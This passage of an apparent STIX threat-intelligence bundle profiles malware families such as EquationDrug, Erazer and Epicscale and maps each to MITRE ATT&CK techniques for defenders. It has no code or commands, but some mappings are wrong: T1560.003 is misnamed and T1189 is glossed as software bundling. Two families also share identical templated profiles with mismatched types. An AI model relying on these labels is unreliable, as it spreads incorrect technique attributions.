      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epack exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d80f5220-553b-59ec-8aac-091085ac15e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--67736ad0-14cd-5073-a396-5fa4067d2136",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epack exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--538f51eb-6a97-5003-8019-c5fa6aeda0d6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Epicscale",
      "description": "Adware:Win32/Epicscale is a Potentially Unwanted Program (PUP) that operates as a covert cryptocurrency miner. While it originally presented itself as a platform that used 'idle processing power' for charitable causes, it is widely classified as adware/riskware due to its deceptive installation practices (often bundled with other software without clear consent) and the severe impact it has on system performance.<br><br><b>Understanding Epicscale (Cryptojacking)</b><br>To an end-user, an Epicscale infection manifests as severe system sluggishness. Fans may run at maximum speed, laptops will overheat, and battery life will plummet, even when the computer is ostensibly idle. For a security administrator, Epicscale is a form of Resource Hijacking (`T1496`). It steals the organization's hardware resources and electricity to mine cryptocurrency (like Bitcoin or Monero) for the software developers.<br><br><b>Execution and Hijacking Mechanics</b><br>Epicscale is typically distributed via software bundles (`T1189`). When a user downloads a free utility (like uTorrent, which notoriously bundled Epicscale in 2015), Epicscale installs silently in the background. It establishes persistence via the Registry Run keys or Scheduled Tasks (`T1547.001`) to ensure it launches automatically. Once running, it utilizes the CPU and sometimes the GPU to perform complex cryptographic hashing, communicating with external mining pools (`T1105`) to submit completed 'shares' and receive new workloads.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is severe performance degradation and potential hardware damage due to overheating. Host-based IoCs include prolonged, 100% CPU utilization by unknown or unexpected processes (often disguised with generic names). The presence of the Epicscale application in `C:\\Program Files` or `%AppData%` is a definitive indicator. Network IoCs include constant, low-bandwidth outbound traffic (often TCP over non-standard ports like 3333 or 14444) communicating with known cryptocurrency mining pools (e.g., Stratum protocol). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Epicscale",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/epicscale"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4f348c0-98db-568d-a4a6-80420f283e2e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--538f51eb-6a97-5003-8019-c5fa6aeda0d6",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epicscale exhibits technique T1496 (Resource Hijacking (Cryptocurrency Mining))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9eabbd9d-dcd9-584f-9b2a-9507df6dd17e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--538f51eb-6a97-5003-8019-c5fa6aeda0d6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epicscale exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77b64d64-9be1-57ea-9191-46f51a5db6c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--538f51eb-6a97-5003-8019-c5fa6aeda0d6",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Epicscale exhibits technique T1189 (Drive-by Compromise (Software Bundling))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f26863a4-2585-55b6-8950-7a6a033ea1bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Eqtonex",
      "description": "Trojan:Win32/Eqtonex is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Eqtonex</b><br>To an end-user, an Eqtonex infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Eqtonex is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Eqtonex is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Eqtonex frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Eqtonex reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Eqtonex",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/eqtonex"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2c6f6080-daf9-5450-81fa-42f2af1807df",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26863a4-2585-55b6-8950-7a6a033ea1bc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eqtonex exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6f5a6f1-0245-597e-8f1c-210c7e2eec0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26863a4-2585-55b6-8950-7a6a033ea1bc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eqtonex exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f3dab132-1ac5-57df-adc0-687b4dab7759",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26863a4-2585-55b6-8950-7a6a033ea1bc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eqtonex exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fa43a414-6e6c-55d3-aa11-a66659c229e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26863a4-2585-55b6-8950-7a6a033ea1bc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eqtonex exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01fed161-82f9-583b-8e6e-74161200b9bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26863a4-2585-55b6-8950-7a6a033ea1bc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Eqtonex exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Equationdrug",
      "description": "Trojan:Win32/EquationDrug is a state-of-the-art cyber-espionage platform attributed by global threat intelligence researchers to the Equation Group (associated with US NSA Tailored Access Operations). First publicly documented by Kaspersky Lab's Global Research and Analysis Team (GReAT) in February 2015, EquationDrug operated actively from 2010 through 2013 as the direct operational predecessor to the GrayFish platform. EquationDrug represents one of the most sophisticated modular cyber-espionage frameworks ever uncovered, featuring a custom kernel-mode rootkit architecture, an encrypted virtual file system (VFS) hidden within Windows Registry hives, and over 116 dynamic plugin modules. The malware includes specialized modules for reprogramming hard disk drive firmware across more than a dozen major HDD manufacturing architectures (including Western Digital, Seagate, Maxtor, and Toshiba), creating persistent forensic-resistant sectors. EquationDrug utilized zero-day exploits including CVE-2010-2568 (LNK shortcut vulnerability, also utilized in Stuxnet) and CVE-2013-3881 (win32k.sys privilege escalation). The platform performed targeted surveillance against aerospace, nuclear research, military, and telecommunications organizations across Iran, Russia, Pakistan, Afghanistan, and Syria. (Observed samples in benchmark: 25)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "EquationDrug",
        "Trojan.EquationDrug",
        "Win32/EquationDrug"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Equationdrug",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/equationdrug"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb1924b2-775d-555c-bf07-8dabe9584f29",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Equationdrug exhibits technique T1068 (Exploitation for Privilege Escalation)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--603e41cb-7d48-5d8a-9a60-07f10339d270",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1542.002: Component Firmware",
      "description": "MITRE ATT&CK Technique T1542.002 (Component Firmware) under tactic persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1542.002",
          "url": "https://attack.mitre.org/techniques/T1542/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3a86aa4-2f13-5792-8126-b039ccc51313",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "target_ref": "attack-pattern--603e41cb-7d48-5d8a-9a60-07f10339d270",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Equationdrug exhibits technique T1542.002 (Component Firmware)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d9a6a98c-7af9-5b77-8af6-9aa61c3f339e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Equationdrug exhibits technique T1014 (Rootkit)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c180df76-0b16-55f9-8650-17a425a223cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Equationdrug exhibits technique T1070.004 (File Deletion)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31374f17-070d-5b55-93f5-7dd119ed223e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Equationdrug exhibits technique T1005 (Data from Local System)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--ba014165-0f2b-558e-b2cb-d0fef7155a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1560.003: Custom Cryptographic Protocol",
      "description": "MITRE ATT&CK Technique T1560.003 (Custom Cryptographic Protocol) under tactic command-and-control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1560.003",
          "url": "https://attack.mitre.org/techniques/T1560/003/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c4b02cce-2035-5cbf-9dc9-1c55073a19c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--666b46a8-7676-546e-acd2-47f8611f7fa6",
      "target_ref": "attack-pattern--ba014165-0f2b-558e-b2cb-d0fef7155a91",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Equationdrug exhibits technique T1560.003 (Custom Cryptographic Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Erazer",
      "description": "Erazer (identified across antivirus engines as Trojan:Win32/Erazer and Backdoor.Erazer) is a classic dual-function Remote Access Trojan (RAT) and disruptive disk wiper originally surfaced in the mid-2000s cybercrime landscape. Built upon modular Delphi architecture, Erazer was engineered to provide remote operators with complete administrative dominion over compromised Windows endpoints. Beyond standard RAT capabilities such as keystroke logging, active window spying, process enumeration, and reverse command shells, Erazer features deliberate destructive subroutines designed to wipe user files, overwrite master boot record (MBR) structures, and zero-fill critical documents upon receiving a specific kill command from the command-and-control server. Attackers distributed Erazer through peer-to-peer file sharing networks like KaZaA and eMule masked as software cracks and game cheat trainers. Once launched, Erazer establishes registry persistence, terminates local security processes, and disables system management utilities like Task Manager and Regedit. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Erazer",
        "Backdoor.Erazer",
        "Win32.Erazer.RAT",
        "Trojan.KillFiles.Erazer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Erazer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/erazer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85b73615-66c9-5367-b41f-22f29ee6359b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--904f8b17-b5b6-587c-aae9-aaddb448686b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0ce1d4b-0720-5c80-9253-ef59605e45c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed93e3ed-b0c5-5540-ab4e-705b2c7ab564",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b21cdc29-d9db-5448-8000-f915f88ca180",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer exhibits technique T1071 (Application Layer Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11bc49e7-889f-5c32-8315-3ff65841fbac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fab5b293-462b-5953-a7be-3eadc4ad878b",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--6d0a18f5-117e-531a-9eac-4e915f0407f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Erazer_Lite",
      "description": "Erazer Lite (tracked as Trojan:Win32/ErazerLite and Backdoor.Erazer.Lite) is a streamlined, optimized variant of the parent Erazer remote access trojan codebase. Engineered with a reduced binary footprint, Erazer Lite omits the heavier GUI-based management features of the original framework in favor of rapid deployment, stealthy persistence, and covert background execution. It focuses heavily on credential theft, keystroke logging, and remote backdoor access via lightweight TCP reverse connections. Erazer Lite spreads via malicious email attachments, peer-to-peer networks, and bundled installers. Once deployed onto a target Windows host, the malware establishes persistence through user Run keys, injects execution threads into host processes, and beacons to attacker-controlled infrastructure while actively evading legacy file scanners. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Erazer Lite Trojan",
        "Win32/ErazerLite",
        "Backdoor.Win32.ErazerLite",
        "Trojan:Win32/Erazer.B"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Erazer_Lite",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/erazer_lite"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9efb7a92-8918-5228-ba50-877da2ed5927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d0a18f5-117e-531a-9eac-4e915f0407f3",
      "target_ref": "attack-pattern--dfcfa682-f757-5727-b61f-982c98fe4440",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer_Lite exhibits technique T1056 (Input Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--003e31be-a671-5e45-89b3-b937ad4aa27b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d0a18f5-117e-531a-9eac-4e915f0407f3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer_Lite exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--799b9da3-371b-5bbe-b9f8-a56a8ba1e5b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d0a18f5-117e-531a-9eac-4e915f0407f3",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer_Lite exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8a36e4f3-eece-5dd1-b313-3d3e82e7ab66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d0a18f5-117e-531a-9eac-4e915f0407f3",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer_Lite exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a4559282-402b-5449-9579-570550f02c6e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--6d0a18f5-117e-531a-9eac-4e915f0407f3",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erazer_Lite exhibits technique T1071 (Application Layer Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1062fea7-3ba1-50c1-b4b9-a6e161eeac3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Erbon",
      "description": "Trojan:Win32/Erbon is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Erbon</b><br>To an end-user, an Erbon infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Erbon is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Erbon is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Erbon frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Erbon reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Erbon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/erbon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2284ddaa-fa3d-56bb-8808-72417460e043",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1062fea7-3ba1-50c1-b4b9-a6e161eeac3d",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erbon exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2653019-7c66-5afc-9088-1328e71c5860",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1062fea7-3ba1-50c1-b4b9-a6e161eeac3d",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erbon exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7b04b36-49f9-5b23-9757-b50def5a0b89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1062fea7-3ba1-50c1-b4b9-a6e161eeac3d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erbon exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5422d9d7-1a19-5e1c-8d96-37a7cf8b3992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1062fea7-3ba1-50c1-b4b9-a6e161eeac3d",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Erbon exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b4b77d8-22be-5e37-abe8-049fc61c673a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1062fea7-3ba1-50c1-b4b9-a6e161eeac3d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
